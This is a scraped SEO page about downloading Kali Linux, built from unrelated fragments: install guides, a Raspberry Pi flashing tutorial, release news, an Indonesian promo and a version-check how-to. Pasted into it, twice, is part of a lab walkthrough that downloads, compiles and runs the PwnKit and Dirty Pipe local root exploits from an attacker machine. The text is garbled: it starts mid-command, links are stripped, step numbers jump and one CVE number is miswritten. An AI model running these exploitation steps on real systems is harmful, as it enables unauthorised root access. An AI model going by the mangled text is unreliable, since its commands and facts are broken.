Download kali linux 2021 2 32 bit
Author: m | 2025-04-24
Then, you can choose 64-bit or 32-bit Kali Linux ISO for download. Go to Download Alternative apps to Kali Linux 87 votes Kali Linux Nethunter for Android 2025.3 The Kali Linux NetHunter project is the first Open Source Android penetration testing. DOWNLOAD: Kali Linux Iso Download 32 Bit Download Mx Linux ISO 64-bit or 32-bit for PC or DOWNLOAD: Kali Linux 64 Bit Uefi Iso Download Kali Linux Free Download - Get Into PC. Kali Linux 2025.3 installer - amd64 and i386 Free Download. Navigate to the Kali Linux Downloads page and find the packages available for download. Depending on the system you have, download the 64-Bit or 32-Bit version. Step 2- Create Kali Linux VirtualBox
Kali Linux (32 Bit) - Download - CHIP
Installing Kali on a Raspberry Pi The Raspberry Pi is a great platform for running Kali Linux. In fact, Kali actually makes a version specifically for the Raspberry Pi. In this tutorial we'll go over choosing the right version of kali to download, and how to flash it to a micro sd card. This tutorial will work for the Raspberry Pi 2, 3, 4, and the 400. This tutorial will also work for other compatible linux distros, such as Parrot OS, and Ubuntu. Getting Started To get started we will need two things, the Kali file, and a program to flash it to an sd card. Lets start with choosing the right version of Kali to download. Head over to kali.org and click on Download. Once you get to the downloads page you'll see a few different options. For the Raspberry Pi you'll want to choose the ARM version. You'll notice that there are both 32-bit and 64-bit versions. Techniqually you will get better performance from the 64-bit version, but the 32-bit version has been avilable longer and is better tested. I perfer using the 32-bit version and in my experience it has been extremely stable. Choose the one that suits you and click on it to download. You'll notice that the download will be saved with a ".img.xz" file extention. This may look a little odd but it is the correct format for a linux image that can be flashed. Now that we have the linux image we are going to flash, we need a program to actually flash it onto an sd card. Luckly, there are some free programs that will do it for us. BalenaEtcher is a free open source program for flashing, and it's available for Windows, Linux, and Mac. Visit balena.io/etcher and download the version for your operating system. Flashing the file Once you have downloaded and installed Etcher you are ready to flash Kali. Go ahead and connect the sd card that you want to put Kali on and connect it to your computer. Open Etcher up and select flash from file. Select the Kili Linux 2021.3 was released & upgraded with new hacking tools, added an OpenSSL compatibility, Kali Live VM support, and more.Offensive security used to release Kali Linux versions update each and every year with new features in order to provide the best experience for the cybersecurity community. It’s the third update for this year since Kali Linux 2021.1 was released in February 2021, and Kali Linux 2021.2 was released in June.In this Kali Linux 2021.3 released, the Offensive Security team focused on the following features:-OpenSSL New Kali-Tools siteBetter VM support in the Live image sessionNew toolsKali NetHunter smartwatchKDE 5.21 Unlike the previous update, Offensive security configured an OpenSSL for wider compatibility that allows users to access the older systems such as obsolete systems, and servers that using the legacy protocols (such as TLS 1.0 and TLS 1.1).You can read more details about the OpenSSL here.Without adding new tools, Kali Linux never launches an update for the new version, and the current update contains 7 new tools added the following:-Berate_ap – Orchestrating MANA rogue Wi-Fi Access PointsCALDERA – Scalable automated adversary emulation platformEAPHammer – Targeted evil twin attacks against WPA2-Enterprise Wi-Fi networksHostHunter – Recon tool for discovering hostnames using OSINT techniquesRouterKeygenPC – Generate default WPA/WEP Wi-Fi keysSubjack – Subdomain takeoverWPA_Sycophant – Evil client portion of EAP relay attackIn the Kali Nethunter section, Kali NetHunter, Offensive security launched the first Kali NetHunter smartwatch names “the TicHunter Pro“According to Kali Linux “It is still experimental, hence the features are limited to USB attacks, and some basic functions. The hardware also has limitations, as such a small battery won’t supply enough voltage for any OTG adapters”Kali linux 2021.3 comes with new Desktop & Theme Updates that contains the following changes:Improved GTK3 theme for Xfce’s notifications and logout-dialogRedesigned GTK2 theme for a better fit of older programsImproved Kali-Dark and Kali-Light syntax-highlighting themes for GNOME and XfceDownload Kali Linux 2021.3You can download the new version of Kali Linux, (Kali Linux 2021.3) in both variants, 32-bit and the 64-bit for the following platforms from the official website:-Apple M1 platformsARM and other mobile platformsAs a virtual image for various VM implementationsNow you can use the following command to update your system to the latest Kali Linux 2021.3:-sudo apt update && sudo apt -y full-upgradeIf you are already having a Kali Linux and want to upgrade;kali@kali:~$ echo “deb kali-rolling main non-free contrib” | sudo tee /etc/apt/sources.list kali@kali:~$ kali@kali:~$ sudo apt update && sudo apt -y full-upgradekali@kali:~$ kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f kali@kali:~$For new installation you can download from here.To check after upgradation for Kali Linux 2021.3;kali@kali:~$ grep VERSION /etc/os-releaseYou are also recommended to review our Kali Linux Tutorials which cover dozens of Kali Linux Tools.64 bit or 32 bit? - Kali Linux
Description The Kali Linux 2018.1 was released on February 6, 2018, it was preceded by version 2017.3 and was available for desktop / laptop computers. It is available to install 32-bit (x86) and 64-bit (x86-64) versions, and the choice of various desktop environments such as KDE, LXDE and MATE is available in different ISO image files. Cinnamon is the default desktop environment. Compared to the previous release, this Kali linux version includes some new tools, features and bug fixes, such as Linux Kernel 4.14.12, GNOME 3.26.2, Physical memory limit increased to 4 petabytes, many existing tools have been upgraded, Hyper-V generation 2, etc.General information from Kali LinuxKali Linux is a free and open source Linux operating system specially designed for penetration testing (computer system security) using a wide range of available security tools. According to the Kali Linux tools directory, there are hundreds of pre-installed security tools in the operating system that allows attacking any computer system, gathering information, forensics, reverse engineering, crack passwords, snifting and snipfing etc. As soon as you launch a tool, you do not need you to write a custom program and programming code to attack, you can read the instructions in the terminal window and type the command. Most tools in Kali Linux work through the command line, while some of them also have graphical user interfaces such as Wireshark, Burp suite and Armitage.SpecificationAvailable in35+ languagesCPU Platform(s)IA-32, x86-64, ARMLicenseFree and open-source softwareSystem requirementsMinimum:32-bit (IA-32) processor or higher.20 GB disk space.1 GB RAM.CD/DVD drive or a USB Drive.Internet connectivity (optional).Installation instructionsStarting installer in PC (via USB)Follow the steps given below:Download the Kali Linux 2018.1 ISO image file from the download section.Install a USB bootable creation software (such as Rufus) on your Windows PC.Plug in a USB flash drive (at least 8-16 GB of space) with your PC.Open the USB bootable creation software, and select the ISO image file of Kali Linux 2018.1, and start the process.As soon as done, plug the bootable USB into a system where you want to install Kali Linux 2018.1.Restart the computer.Press the boot device menu key and select USB to boot. Then, you can choose 64-bit or 32-bit Kali Linux ISO for download. Go to Download Alternative apps to Kali Linux 87 votes Kali Linux Nethunter for Android 2025.3 The Kali Linux NetHunter project is the first Open Source Android penetration testing. DOWNLOAD: Kali Linux Iso Download 32 Bit Download Mx Linux ISO 64-bit or 32-bit for PC orKali linux 2025.1 2025 32-bit - Kali linux : Flipkart.com
Description Kali Linux 2023.4 was released in December, 2023, it was preceded by version 2023.3 and was available for desktop / laptop computers. It is available for installing 32-bit and 64-bit versions, and a choice of different desktop environments such as KDE, LXDE, and MATE is available in a single ISO image file. XFCE is the default desktop environment. Compared to previous releases, this Kali Linux version some new updates, such as cloud ARM64 options for Amazon AWS and Microsoft Azure, Vagrant Hyper-V support, and compatibility with Raspberry Pi 5. This release also updates to GNOME 45, improving the user experience for those using GNOME as their desktop environment. The internal infrastructure has been enhanced with the introduction of MirrorBits for better package delivery. Additionally, this release also includes various community contributions as well as new tools and updates to existing packages.For more information the release, read the official note of the Kali Linux 2023.4.General information from Kali LinuxKali Linux is a free and open source Linux operating system specially designed for penetration testing (computer system security) using a wide range of available security tools. According to the Kali Linux tools directory, there are hundreds of pre-installed security tools in the operating system that allows attacking any computer system, gathering information, forensics, reverse engineering, crack passwords, snifting and snipfing etc. As soon as you launch a tool, you do not need you to write a custom program and programming code to attack, you can read the instructions in the terminal window and type the command. Most tools in Kali Linux work through the command line, while some of them also have graphical user interfaces such as Wireshark, Burp suite and Armitage.SpecificationAvailable in35+ languagesCPU Platform(s)IA-32, x86-64, ARMLicenseFree and open-source softwareSystem requirementsMinimum:32-bit processor or higher.20 GB disk space.1 GB RAM.CD/DVD drive or a USB Drive.Internet connectivity (optional).Installation instructionsStarting installer in PC (via USB)Follow the steps given below:Download the Kali Linux 2023.4 ISO image file from the download section.Install a USB bootable creation software on your Windows PC.Plug in a USB flash drive (at least 8-16 GB of space) with your PC.Open the USB bootable creation software, and select the ISO image file of Kali Linux 2023.4, and start the process.As soon as done, plug the bootable USB into a system where you want to install Kali Linux 2023.4.Restart the computer.Press the boot device menu key and select USB to boot first.Select USB Kali Linux merupakan sistem operasi yang berbasis dari Debian Linux. Dimana Kali Linux dikembangkan oleh Offensive Security dalam setiap pengembangannya. Kali Linux sendiri sering digunakan oleh mereka sebagai Hacker untuk menguji sejauh mana keamanan jaringan yang dapat mereka tembus.Namun, anda dapat menggunakan Kali Linux untuk kebutuhan pribadi dan tidak merugikan orang banyak. Untuk dapat menggunakan fiturnya, Kali Linux sendiri dilengkapi dengan lebih dari 300 Tools yang dapat anda gunakan.Masing-masing Tools memiliki fungsi dan kelebihannya sendiri, sehingga dapat anda gunakan sesuai dengan fungsinya. Anda juga tidak perlu kesulitan selama menggunakan Kali Linux, karen dibekali dengan tampilan yang lebih sederhana.Tampilan yang sederhana ini tentunya bermanfaat untuk dapat menggunakan Kali Linux dengan lebih mudah, dan tidak mengalami kesulitan ketika dijalankan. Tidak hanya dapat dijalankan pada laptop/PC saja, melainkan dapat dijalankan pada ponsel pintar anda untuk mengakses ROM.Fitur dan Kelebihan Kali LinuxMungkin masih ada yang bingung dengan Kali Linux, mengingat versi awalnya memiliki nama berbeda. Dimana Kali Linux awalnya memiliki nama BackTrack yang memiliki fungsi yang sama.Kali Linux sendiri lebih banyak digunakan untuk melakukan pemeriksaan atau testing dan penetration untuk menguji keamanan jaringan komputer yang anda miliki. Versi Kali Linux ini mendapatkan respon positif, karena memiliki peningkatan dalam hal performa.Performa dari Kali Linux dianggap[ lebih baik dari versi sebelumnya, BackTrack. Dimana pada versi terbaru, telah mendukung untuk dapat dijalankan pada sistem operasi Windows 10.Tertarik menggunakan Kali Linux? Dengan menggunakan Kali Linux, maka anda dapat menggunakan fiturnya untuk memeriksa uji coba keamanan sistem komputer dengan mudah. Nah, lebih lanjut, berikut ini kami rangkum berbagai fitur menarik lainnya dari Kali Linux.Simple InterfaceKali Linux dibekali dengan tampilan yang lebih sederhana pada versi terbarunya, sehingga anda dapat dengan mudah menggunakan berbagai macam tools yang menarik untuk dicoba. Tersedia banyak sekali tools, yang dapat anda gunakan untuk menguji keamanan jaringan komputer.Performa KencangMemiliki performa yang kencang, membuat Kali Linux banyak digunakan untuk kebutuhan yang berat. Bayangkan saja, Kali Linux hanya akan memakan ruang sebesar 150 MB pada RAM anda. Sehingga, untuk anda yang memiliki laptop/PC dengan RAM kecil dapat menggunakan Kali Linux dengan stabil.Update SecurityKali Linux akan memberikan anda perbaharuan terbaru terkait dengan keamanan komputer. Sehingga, bug dan berbagai macam sinkronisasi dapat terus diperbaharui dengan mudah dan aman.Anda dapat dengan mudah menkostumasi ISO dan Bootstraps pada komputer dengan menggunakan Kali Linux. Fitur ini dapat anda gunakan secara gratis dan tentunya sesuaikan dengan kebutuhan anda.Kali Linux menjadi software yang mumpuni untuk digunakan. Anda dapat menggunakan 300 Tools menarik untuk melakukan pengujian keamana jaringan komputer. Fitur lainnya dapat anda gunakan untuk mengamankan komputer anda. Download Kali Linux terbaru dan gratis untuk Windows melalui link dibawah ini:[32-Bit Version][64-Bit Version]Editor:Torrent and direct download of kali 32 bit not working. - Kali Linux
$files); do wget --no-verbose -O /tmp/${file}; chmod 755 /tmp/${file}; done26. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Extract source files.cd /tmptar -xzvf CVE-2021–4034-source.gz27. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Complile the exploit.cd /tmp/CVE-2021–4034make28. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Execute the exploit.cd /tmp/CVE-2021–4034./cve-2021–4034We have our root access!Dirty-Pipe (CVE-2022–0867)CVE-2022–0847 is a vulnerability in Linux kernels between 5.8 and 5.10 that can overwrite data in arbitrary read-only files. This leads to privilege escalation as an unprivileged process can inject code into a root process.Background information: 5.8 until 5.10–108Victim 03 (Dirty Pipe)- Kali Linux (x86)- IP-Address: 192.168.62.171- Kernel version: 5.10–4029. Performed on 192.168.62.161 (attacker machine, Kali Linux).Download the dirty pipe exploitfile=exploit-1wget -O /tmp/${file}.c30. Optional: Performed on 192.168.62.161 (attacker machine, Kali Linux).Compile the exploit on Kali (x86 and x64 version). Only perform this step if the exploit cannot be compiled locally on the target.file=exploit-1gcc -m32 -static -o /tmp/${file}_x86 /tmp/${file}.cgcc -static -o /tmp/${file}_x64 /tmp/${file}.c31. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Download the exploit source code and compiled versions from the Kali attacker machine.file=exploit-1LHOST=192.168.62.161LPORT=80files="${file}.c ${file}_x86 ${file}_x64"for file in $(echo $files); do wget --no-verbose -O /tmp/${file}; chmod 755 /tmp/${file}; done23. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Compile the exploit.file=exploit-1gcc -o /tmp/${file} /tmp/${file}.c33. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Execute the exploit.file=exploit-1/tmp/${file}Ignore the error message.Note: ignore error “System() function call …”.34. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Switch to root with password ‘piped’su rootWe are 'root'user!We are root!MitigationMitigation for all of these vulnerabilities is to have your distro up to date with the latest security patches.CreditsCredits to Phil Oester for the discovery of the ‘Dirty Cow’ vulnerability.Credits to Qualis for the discovery of the ‘Polkit’ vulnerability.Credits to CM4Allfor the discovery of the ‘Dirty Pipe’ vulnerability.Credits to MZet for maintaining linux-exploit-suggester.sh ( Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!Kali Linux 1 32 Bit Iso Download
Popular desktop environments, and seamless upgrades to newer versions. Kali Summary Distribution Kali Linux (formerly BackTrack) Home Page Mailing Lists -- User Forums Alternative User Forums Documentation Screenshots DistroWatch Gallery Screencasts Download Mirrors • DistroWatch Torrent Archive Bug Tracker Related Websites Offensive Security • Wikipedia Reviews 2016.x: DistroWatch • ZDNet 1.0.x: Dedoimedo • LinuxBSDos • ZDNet • Binary Tides • LinuxBSDos BackTrack: LinuxBSDos • ADMIN • Ubuntu Manual • Dedoimedo • Linux.com • Linux.com Where To Donate, Buy or Try • The Linux Shop • Screenshots Recent Related News and Releases 2025-03-19 Distribution Release: Kali Linux 2025.1a Kali Linux is a Debian-based distribution with a collection of security and forensics tools. The project's latest release, Kali Linux 2025.1a, ships with a new theme and key desktop upgrades, including a jump to Xfce 4.20 and KDE Plasma 6. "After a long wait, we are excited to announce that Plasma 6 is finally available in Kali, specifically version 6.2. This is a major update, as the previous version included in Kali was Plasma 5.27, making the scope of changes difficult to summarize. For a more in - depth look at each release, check out the official announcements: 6.0, 6.1, and 6.2. On our end, we have updated all themes to align with the new environment, featuring refreshed window and desktop visuals. And our favorite new addition from KDE? Floating panels! Our default desktop environment, Xfce, has also had a minor software bump from 4.18 to 4.20. Two years of development has gone this, which was formally released on December 15, 2024. It is the stable series follow-up to the Xfce 4.18 release that made its debut during Christmas of 2022 (Kali 2023.1)." Additional details and screenshots can be found in the project's release announcement. Download (SHA256, pkglist): kali-linux-2025.1a-installer-amd64.iso (4,233MB, torrent), kali-linux-2025.1a-installer-netinst-amd64.iso (607MB, torrent). 2024-12-16 Distribution Release: Kali Linux 2024.4 The Kali Linux project has announced a new snapshot of the project's rolling release distribution. The latest version, 2024.4, upgrades Python to version 3.12, drops support for 32-bit x86 kernels and offers GNOME 47. The release announcement offers a summary: "The summary of. Then, you can choose 64-bit or 32-bit Kali Linux ISO for download. Go to Download Alternative apps to Kali Linux 87 votes Kali Linux Nethunter for Android 2025.3 The Kali Linux NetHunter project is the first Open Source Android penetration testing. DOWNLOAD: Kali Linux Iso Download 32 Bit Download Mx Linux ISO 64-bit or 32-bit for PC or DOWNLOAD: Kali Linux 64 Bit Uefi Iso Download Kali Linux Free Download - Get Into PC. Kali Linux 2025.3 installer - amd64 and i386 Free Download. Navigate to the Kali Linux Downloads page and find the packages available for download. Depending on the system you have, download the 64-Bit or 32-Bit version. Step 2- Create Kali Linux VirtualBoxCant download 32/64 bit - Kali Linux
Many times we need to check, which version of Linux or Kali we are on, before installing some software or upgrading. Thus to do that, here are some simple commands which one can run using the Linux command terminal to instantly find out the version of Kali Linux he or she is on.The simplest command to know the current installation information of Kali.grep VERSION /etc/os-releaseThe output of the above command would be like this:VERSION="2018.3"VERSION_ID="2018.3"VERSION_CODENAME="kali-rolling"Using dmesg command:dmesg | head -1Output:Linux version 4.17.0-5-kalil-amd64 ([email protected])(gcc version 7.3.0 (Debian 7.3.0-25) ) #1 SMP Debian 4.17.8-1kalil (2018-07-24)Alternative command for the above one to check Kali versioncat /proc/versionA common command which to check Kali system version which is also applicable for Ubuntu, CentOS and other modern Linux distros.cat /etc/os-releaseOutput for the above command will be like this:PRETTY_NAME="Kali GNU/Linux Rolling"NAME="Klai GNU/Linux"ID="kali"VERSION="2018.3"VERSION_ID="2018.3"ID_LIKE=debianANSI_COLOR="1;31"HOME_URL=" these are some quick methods to extract Linux system version information of KALI penetration testing distro.Other Article to read:Best available Linux distros for ethical hacking and penetration testing. Different ways to check whether you are using a 32-bit or 64-bit version of LinuxComments
Installing Kali on a Raspberry Pi The Raspberry Pi is a great platform for running Kali Linux. In fact, Kali actually makes a version specifically for the Raspberry Pi. In this tutorial we'll go over choosing the right version of kali to download, and how to flash it to a micro sd card. This tutorial will work for the Raspberry Pi 2, 3, 4, and the 400. This tutorial will also work for other compatible linux distros, such as Parrot OS, and Ubuntu. Getting Started To get started we will need two things, the Kali file, and a program to flash it to an sd card. Lets start with choosing the right version of Kali to download. Head over to kali.org and click on Download. Once you get to the downloads page you'll see a few different options. For the Raspberry Pi you'll want to choose the ARM version. You'll notice that there are both 32-bit and 64-bit versions. Techniqually you will get better performance from the 64-bit version, but the 32-bit version has been avilable longer and is better tested. I perfer using the 32-bit version and in my experience it has been extremely stable. Choose the one that suits you and click on it to download. You'll notice that the download will be saved with a ".img.xz" file extention. This may look a little odd but it is the correct format for a linux image that can be flashed. Now that we have the linux image we are going to flash, we need a program to actually flash it onto an sd card. Luckly, there are some free programs that will do it for us. BalenaEtcher is a free open source program for flashing, and it's available for Windows, Linux, and Mac. Visit balena.io/etcher and download the version for your operating system. Flashing the file Once you have downloaded and installed Etcher you are ready to flash Kali. Go ahead and connect the sd card that you want to put Kali on and connect it to your computer. Open Etcher up and select flash from file. Select the
2025-03-27Kili Linux 2021.3 was released & upgraded with new hacking tools, added an OpenSSL compatibility, Kali Live VM support, and more.Offensive security used to release Kali Linux versions update each and every year with new features in order to provide the best experience for the cybersecurity community. It’s the third update for this year since Kali Linux 2021.1 was released in February 2021, and Kali Linux 2021.2 was released in June.In this Kali Linux 2021.3 released, the Offensive Security team focused on the following features:-OpenSSL New Kali-Tools siteBetter VM support in the Live image sessionNew toolsKali NetHunter smartwatchKDE 5.21 Unlike the previous update, Offensive security configured an OpenSSL for wider compatibility that allows users to access the older systems such as obsolete systems, and servers that using the legacy protocols (such as TLS 1.0 and TLS 1.1).You can read more details about the OpenSSL here.Without adding new tools, Kali Linux never launches an update for the new version, and the current update contains 7 new tools added the following:-Berate_ap – Orchestrating MANA rogue Wi-Fi Access PointsCALDERA – Scalable automated adversary emulation platformEAPHammer – Targeted evil twin attacks against WPA2-Enterprise Wi-Fi networksHostHunter – Recon tool for discovering hostnames using OSINT techniquesRouterKeygenPC – Generate default WPA/WEP Wi-Fi keysSubjack – Subdomain takeoverWPA_Sycophant – Evil client portion of EAP relay attackIn the Kali Nethunter section, Kali NetHunter, Offensive security launched the first Kali NetHunter smartwatch names “the TicHunter Pro“According to Kali Linux “It is still experimental, hence the features are limited to USB attacks, and some basic functions. The hardware also has limitations, as such a small battery won’t supply enough voltage for any OTG adapters”Kali linux 2021.3 comes with new Desktop & Theme Updates that contains the following changes:Improved GTK3 theme for Xfce’s notifications and logout-dialogRedesigned GTK2 theme for a better fit of older programsImproved Kali-Dark and Kali-Light syntax-highlighting themes for GNOME and XfceDownload Kali Linux 2021.3You can download the new version of Kali Linux, (Kali Linux 2021.3) in both variants, 32-bit and the 64-bit for the following platforms from the official website:-Apple M1 platformsARM and other mobile platformsAs a virtual image for various VM implementationsNow you can use the following command to update your system to the latest Kali Linux 2021.3:-sudo apt update && sudo apt -y full-upgradeIf you are already having a Kali Linux and want to upgrade;kali@kali:~$ echo “deb kali-rolling main non-free contrib” | sudo tee /etc/apt/sources.list kali@kali:~$ kali@kali:~$ sudo apt update && sudo apt -y full-upgradekali@kali:~$ kali@kali:~$ [ -f /var/run/reboot-required ] && sudo reboot -f kali@kali:~$For new installation you can download from here.To check after upgradation for Kali Linux 2021.3;kali@kali:~$ grep VERSION /etc/os-releaseYou are also recommended to review our Kali Linux Tutorials which cover dozens of Kali Linux Tools.
2025-04-03Description The Kali Linux 2018.1 was released on February 6, 2018, it was preceded by version 2017.3 and was available for desktop / laptop computers. It is available to install 32-bit (x86) and 64-bit (x86-64) versions, and the choice of various desktop environments such as KDE, LXDE and MATE is available in different ISO image files. Cinnamon is the default desktop environment. Compared to the previous release, this Kali linux version includes some new tools, features and bug fixes, such as Linux Kernel 4.14.12, GNOME 3.26.2, Physical memory limit increased to 4 petabytes, many existing tools have been upgraded, Hyper-V generation 2, etc.General information from Kali LinuxKali Linux is a free and open source Linux operating system specially designed for penetration testing (computer system security) using a wide range of available security tools. According to the Kali Linux tools directory, there are hundreds of pre-installed security tools in the operating system that allows attacking any computer system, gathering information, forensics, reverse engineering, crack passwords, snifting and snipfing etc. As soon as you launch a tool, you do not need you to write a custom program and programming code to attack, you can read the instructions in the terminal window and type the command. Most tools in Kali Linux work through the command line, while some of them also have graphical user interfaces such as Wireshark, Burp suite and Armitage.SpecificationAvailable in35+ languagesCPU Platform(s)IA-32, x86-64, ARMLicenseFree and open-source softwareSystem requirementsMinimum:32-bit (IA-32) processor or higher.20 GB disk space.1 GB RAM.CD/DVD drive or a USB Drive.Internet connectivity (optional).Installation instructionsStarting installer in PC (via USB)Follow the steps given below:Download the Kali Linux 2018.1 ISO image file from the download section.Install a USB bootable creation software (such as Rufus) on your Windows PC.Plug in a USB flash drive (at least 8-16 GB of space) with your PC.Open the USB bootable creation software, and select the ISO image file of Kali Linux 2018.1, and start the process.As soon as done, plug the bootable USB into a system where you want to install Kali Linux 2018.1.Restart the computer.Press the boot device menu key and select USB to boot
2025-04-19Description Kali Linux 2023.4 was released in December, 2023, it was preceded by version 2023.3 and was available for desktop / laptop computers. It is available for installing 32-bit and 64-bit versions, and a choice of different desktop environments such as KDE, LXDE, and MATE is available in a single ISO image file. XFCE is the default desktop environment. Compared to previous releases, this Kali Linux version some new updates, such as cloud ARM64 options for Amazon AWS and Microsoft Azure, Vagrant Hyper-V support, and compatibility with Raspberry Pi 5. This release also updates to GNOME 45, improving the user experience for those using GNOME as their desktop environment. The internal infrastructure has been enhanced with the introduction of MirrorBits for better package delivery. Additionally, this release also includes various community contributions as well as new tools and updates to existing packages.For more information the release, read the official note of the Kali Linux 2023.4.General information from Kali LinuxKali Linux is a free and open source Linux operating system specially designed for penetration testing (computer system security) using a wide range of available security tools. According to the Kali Linux tools directory, there are hundreds of pre-installed security tools in the operating system that allows attacking any computer system, gathering information, forensics, reverse engineering, crack passwords, snifting and snipfing etc. As soon as you launch a tool, you do not need you to write a custom program and programming code to attack, you can read the instructions in the terminal window and type the command. Most tools in Kali Linux work through the command line, while some of them also have graphical user interfaces such as Wireshark, Burp suite and Armitage.SpecificationAvailable in35+ languagesCPU Platform(s)IA-32, x86-64, ARMLicenseFree and open-source softwareSystem requirementsMinimum:32-bit processor or higher.20 GB disk space.1 GB RAM.CD/DVD drive or a USB Drive.Internet connectivity (optional).Installation instructionsStarting installer in PC (via USB)Follow the steps given below:Download the Kali Linux 2023.4 ISO image file from the download section.Install a USB bootable creation software on your Windows PC.Plug in a USB flash drive (at least 8-16 GB of space) with your PC.Open the USB bootable creation software, and select the ISO image file of Kali Linux 2023.4, and start the process.As soon as done, plug the bootable USB into a system where you want to install Kali Linux 2023.4.Restart the computer.Press the boot device menu key and select USB to boot first.Select USB
2025-04-05Kali Linux merupakan sistem operasi yang berbasis dari Debian Linux. Dimana Kali Linux dikembangkan oleh Offensive Security dalam setiap pengembangannya. Kali Linux sendiri sering digunakan oleh mereka sebagai Hacker untuk menguji sejauh mana keamanan jaringan yang dapat mereka tembus.Namun, anda dapat menggunakan Kali Linux untuk kebutuhan pribadi dan tidak merugikan orang banyak. Untuk dapat menggunakan fiturnya, Kali Linux sendiri dilengkapi dengan lebih dari 300 Tools yang dapat anda gunakan.Masing-masing Tools memiliki fungsi dan kelebihannya sendiri, sehingga dapat anda gunakan sesuai dengan fungsinya. Anda juga tidak perlu kesulitan selama menggunakan Kali Linux, karen dibekali dengan tampilan yang lebih sederhana.Tampilan yang sederhana ini tentunya bermanfaat untuk dapat menggunakan Kali Linux dengan lebih mudah, dan tidak mengalami kesulitan ketika dijalankan. Tidak hanya dapat dijalankan pada laptop/PC saja, melainkan dapat dijalankan pada ponsel pintar anda untuk mengakses ROM.Fitur dan Kelebihan Kali LinuxMungkin masih ada yang bingung dengan Kali Linux, mengingat versi awalnya memiliki nama berbeda. Dimana Kali Linux awalnya memiliki nama BackTrack yang memiliki fungsi yang sama.Kali Linux sendiri lebih banyak digunakan untuk melakukan pemeriksaan atau testing dan penetration untuk menguji keamanan jaringan komputer yang anda miliki. Versi Kali Linux ini mendapatkan respon positif, karena memiliki peningkatan dalam hal performa.Performa dari Kali Linux dianggap[ lebih baik dari versi sebelumnya, BackTrack. Dimana pada versi terbaru, telah mendukung untuk dapat dijalankan pada sistem operasi Windows 10.Tertarik menggunakan Kali Linux? Dengan menggunakan Kali Linux, maka anda dapat menggunakan fiturnya untuk memeriksa uji coba keamanan sistem komputer dengan mudah. Nah, lebih lanjut, berikut ini kami rangkum berbagai fitur menarik lainnya dari Kali Linux.Simple InterfaceKali Linux dibekali dengan tampilan yang lebih sederhana pada versi terbarunya, sehingga anda dapat dengan mudah menggunakan berbagai macam tools yang menarik untuk dicoba. Tersedia banyak sekali tools, yang dapat anda gunakan untuk menguji keamanan jaringan komputer.Performa KencangMemiliki performa yang kencang, membuat Kali Linux banyak digunakan untuk kebutuhan yang berat. Bayangkan saja, Kali Linux hanya akan memakan ruang sebesar 150 MB pada RAM anda. Sehingga, untuk anda yang memiliki laptop/PC dengan RAM kecil dapat menggunakan Kali Linux dengan stabil.Update SecurityKali Linux akan memberikan anda perbaharuan terbaru terkait dengan keamanan komputer. Sehingga, bug dan berbagai macam sinkronisasi dapat terus diperbaharui dengan mudah dan aman.Anda dapat dengan mudah menkostumasi ISO dan Bootstraps pada komputer dengan menggunakan Kali Linux. Fitur ini dapat anda gunakan secara gratis dan tentunya sesuaikan dengan kebutuhan anda.Kali Linux menjadi software yang mumpuni untuk digunakan. Anda dapat menggunakan 300 Tools menarik untuk melakukan pengujian keamana jaringan komputer. Fitur lainnya dapat anda gunakan untuk mengamankan komputer anda. Download Kali Linux terbaru dan gratis untuk Windows melalui link dibawah ini:[32-Bit Version][64-Bit Version]Editor:
2025-04-19$files); do wget --no-verbose -O /tmp/${file}; chmod 755 /tmp/${file}; done26. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Extract source files.cd /tmptar -xzvf CVE-2021–4034-source.gz27. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Complile the exploit.cd /tmp/CVE-2021–4034make28. Performed on 192.168.62.177 (victim machine, Ubuntu 16.04).Execute the exploit.cd /tmp/CVE-2021–4034./cve-2021–4034We have our root access!Dirty-Pipe (CVE-2022–0867)CVE-2022–0847 is a vulnerability in Linux kernels between 5.8 and 5.10 that can overwrite data in arbitrary read-only files. This leads to privilege escalation as an unprivileged process can inject code into a root process.Background information: 5.8 until 5.10–108Victim 03 (Dirty Pipe)- Kali Linux (x86)- IP-Address: 192.168.62.171- Kernel version: 5.10–4029. Performed on 192.168.62.161 (attacker machine, Kali Linux).Download the dirty pipe exploitfile=exploit-1wget -O /tmp/${file}.c30. Optional: Performed on 192.168.62.161 (attacker machine, Kali Linux).Compile the exploit on Kali (x86 and x64 version). Only perform this step if the exploit cannot be compiled locally on the target.file=exploit-1gcc -m32 -static -o /tmp/${file}_x86 /tmp/${file}.cgcc -static -o /tmp/${file}_x64 /tmp/${file}.c31. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Download the exploit source code and compiled versions from the Kali attacker machine.file=exploit-1LHOST=192.168.62.161LPORT=80files="${file}.c ${file}_x86 ${file}_x64"for file in $(echo $files); do wget --no-verbose -O /tmp/${file}; chmod 755 /tmp/${file}; done23. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Compile the exploit.file=exploit-1gcc -o /tmp/${file} /tmp/${file}.c33. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Execute the exploit.file=exploit-1/tmp/${file}Ignore the error message.Note: ignore error “System() function call …”.34. Performed on 192.168.62.171 (victim machine, Kali Linux 2022.1 x86).Switch to root with password ‘piped’su rootWe are 'root'user!We are root!MitigationMitigation for all of these vulnerabilities is to have your distro up to date with the latest security patches.CreditsCredits to Phil Oester for the discovery of the ‘Dirty Cow’ vulnerability.Credits to Qualis for the discovery of the ‘Polkit’ vulnerability.Credits to CM4Allfor the discovery of the ‘Dirty Pipe’ vulnerability.Credits to MZet for maintaining linux-exploit-suggester.sh ( Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!
2025-03-30